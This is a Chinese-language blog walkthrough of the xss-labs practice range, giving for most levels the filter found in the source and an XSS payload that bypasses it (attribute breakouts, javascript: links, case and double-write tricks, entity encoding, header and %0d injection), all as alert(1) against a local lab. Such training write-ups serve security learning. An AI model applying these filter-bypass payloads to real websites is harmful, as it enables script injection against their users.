xss-labs靶场通关

1、第一关

我们发现,当我们更改name等于不同的值时,有不同的返回结果,因此在这里可能有xss漏洞

然后直接进行测试,在name后面加入xss攻击语句

​<script>alert(1)</script>

2、第二关

直接使用"闭合value,然后添加一个onclick事件即可

同时观察到input标签里面的value元素可以尝试突破,逃出引号后,可以使用事件来闭合后面的引号,这里距离onclick事件,当点击输入框后,执行这个弹窗

1" onclick="alert(1)

3、第三关

我们查看代码发现多了htmlspecialchars()函数,它的主要作用是将特殊字符转换为 HTML 实体。这样做的目的是为了在 HTML 页面中显示这些字符串时,能够避免特殊字符被错误地解释为 HTML 标签或其他 HTML 代码的一部分,从而增强网站的安全性。

但是这个不加参数 默认是只编码双引号的!默认只编码双引号!

所以我们的<>被转成了&lt;和&gt;就不能被后端JS使用了,为了不能干扰前端页面显示,所以编码成了HTML实体编码,从而不影响页面的显示

我们发现在value之中也使用了转义函数。但是value的闭合还是单引号,不过没有加ENT_QUOTES参数,导致了单引号仍然可以绕过。

1' onclick='alert(1)

使用上面的payload直接可以弹窗

4、第四关

查看源码发现,过滤了<>符号,我们直接使用事件来做就可以绕过

1" onclick="alert(1)

5、第五关

查看源码发现把<script>转换成了<scr_ipt>,把on转成了o_n,这俩不能用了,换个标签呗

我们使用JavaScript的伪协议绕过,在a标签里面使用alert()即可

1'"> <a href="javascript:alert(1)">"'test</a>

6、第六关

查看源码,过滤了多种常用的单词

直接使用大小写绕过

1'"> <a HRef="javaSCRipt:alert(1)">"'test</a>

7、第七关

直接看源码,将敏感词直接替换成空格,那直接双写绕过即可

1'"> <a hrhrefef="javascrscriptipt:alert(1)">"'test</a>

双写了href和script

8、第八关

查看源码,发现value闭合不了了,并且很多敏感词替换了

使用编码方式绕过,因为存在于一个a标签中,直接编码javascript:alert(1)为html实体编码

javascript:alert(1)编码后:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

9、第九关

代码中多了检测http://的功能,我们输入的字符串必须含有http://

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;http://&#39;&#41;

10、第十关

查看代码,发现input的属性被隐藏了,我们要更改这个属性,并且在value中使用xss

没有禁用onclick事件,我们直接GET传参t_short=1,加上事件,然后将属性改为text(area也行)

?t_sort="1" onclick=alert(1)  type="text"

11、第十一关

查看代码,发现多了个HTTP_REFERER,$33没有过滤,我们从这下手

直接在referer字段中逃出引号,然后用onclick事件触发xss

1" onclick=alert(1) type="text"

12、第十二关

查看代码,和上一关差别不大,使用了UA字段罢了

13、第十三关

直接看源码,用了cookie

直接改

14、第十五关

这关直接包含别的含有xss漏洞的页面

http://127.0.0.1/xss/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

15、第十六关

代码中过滤了空格,使用空格绕过

http://127.0.0.1/xss/level16.php?keyword=<img%0dsrc=1%0donerror=alert(1)>

那就先到这吧~

  • 10
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值